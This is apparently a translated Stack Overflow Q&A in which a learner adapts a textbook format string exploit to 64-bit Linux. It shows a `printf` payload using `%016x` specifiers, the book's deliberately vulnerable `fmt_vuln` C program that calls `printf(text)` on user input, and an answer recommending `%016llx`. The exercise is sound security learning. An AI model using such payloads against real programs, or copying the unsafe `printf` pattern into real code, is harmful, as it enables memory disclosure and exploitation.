c - 格式化字符串漏洞

标签 c linux exploit

我目前正在阅读“Hacking The Art of Exploitation”,其中讨论了格式字符串漏洞。本书的练习试图通过将地址写入堆栈并使用格式参数读取它来从内存的任意部分读取数据。问题是练习是为 32 位系统编写的,而我在 64 位系统上工作。我尝试使其适用于 64 位系统的尝试如下:

./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x

我从 shell 得到的响应是:

The right way to print user-controlled input:

?????%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x

The wrong way to print user-controlled input:

0000000055755010.00000000f7dd18c0.00000000f7af4154.000000000000000.000000000000035.0 ffffe088.00000000555543c0.00000000ffffeeaa

[*] test val @ 0x55755010 = -72 0xffffffb8

如您所见,我只能读取较低的 4 个字节 (0xFFFFEEAA),而较高的 2 个字节已消失 (0x7FFF)。想过如何解决这个问题吗?

顺便说一句,这是书中 fmt_vuln 的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

这是我的 shell 的屏幕截图: enter image description here

最佳答案

尝试使用 %016llx(long long x)而不是 %016x 读取,因为您读取的是 64 位十六进制,而不是 32 位。

关于c - 格式化字符串漏洞,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/50504294/

相关文章:

linux - SSH 隧道进入 arch box

shell - 使用 Golang 安全执行命令(避免远程执行)

c - 是否有必要在 select 系统调用之间重置 fd_set?

linux - 配置minikube时出现磁盘空间错误如何解决

java - gij (GNU libgcj) 版本

c - 缓冲区溢出时的段错误

c++ - 安全使用 strcpy

c - 窗口的 ncurses "shadow"

c - 如何比较两个整数中未对齐的单个位?

c++ - 将用 C 编写的程序与用 C++ 编写的另一个程序集成